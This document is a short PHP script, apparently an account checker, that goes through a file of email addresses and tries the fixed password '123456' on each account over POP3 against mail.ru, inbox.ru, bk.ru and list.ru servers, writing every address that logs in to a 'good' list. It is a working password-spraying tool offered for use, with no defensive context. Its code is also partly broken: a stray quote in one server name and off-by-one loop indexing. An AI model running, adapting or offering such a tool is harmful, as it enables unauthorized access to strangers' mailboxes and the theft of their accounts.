<?php

// by Poozy

set_time_limit(0);

$_mbasef = "e:\myscripts\mails___1.txt";
$_goodem = "e:\myscripts\good.txt";
$_passwd = '123456';
$_emails = file($_mbasef);
$_mcount = count($_emails);

$fp = fopen($_goodem, "r+");

$server = array("pop.mail.ru",
                           "pop.inbox.ru",
                              "pop.bk.ru",
                                 "pop.list.ru'");

for($i = 1; $i <= $_mcount; $i++){
    
	$_em = trim($_emails[$i]);
	
	list($emu, $emh) = explode("@", $_em);
	
	switch($emh){
		case 'mail.ru':		
		if(connect($server[0], $_passwd, $emu, $_em)){
			fputs($fp, $_em."\r\n");
		}
		break;
		case 'inbox.ru':
		if(connect($server[1], $_passwd, $emu, $_em)){
			fputs($fp, $_em."\r\n");
		}
		break;
		case 'bk.ru':
		if(connect($server[2], $_passwd, $emu, $_em)){
			fputs($fp, $_em."\r\n");
		}
		break;
		case 'list.ru':
		if(connect($server[3], $_passwd, $emu, $_em)){
			fputs($fp, $_em."\r\n");
		}
		break;			
	}
	$_perc = sprintf("%.2f", (($i / $_mcount) * 100));
	print $_perc."%  \r";
	
	if($_perc == 100){
		sleep(3);
		print "Done!  \r";
	}
}

function connect($server, $pass, $user, $email){
	$sock = fsockopen($server, 110);
	
	fputs($sock, "USER $user\r\n" );
	fputs($sock, "PASS $pass\r\n" );
	
	while(!feof($sock)){
	 
	    if(strpos(fgets($sock, 1024), $email)){
		    return true;
	    }
	}
	
}

fclose($fp);

?>